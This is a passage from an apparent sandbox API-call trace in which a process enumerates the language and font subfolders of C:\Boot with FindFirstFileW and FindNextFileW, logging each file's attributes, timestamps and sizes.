ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0195.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.081] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.081] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.081] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.081] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.081] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0195.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.082] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.082] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.083] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.083] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.083] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0195.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.083] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.083] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.083] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.084] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.084] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0195.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.084] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.085] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.085] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.085] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.085] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0195.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.085] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.086] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.086] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.087] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.087] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0195.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.087] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.087] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.087] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.088] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.088] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0195.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.088] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.089] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.089] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0195.089] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.090] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0195.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.090] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.091] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.091] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.091] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.091] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0195.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.091] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.092] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.092] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.092] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.092] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0195.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.092] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.094] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.094] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.094] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.094] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0195.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.094] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.095] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, 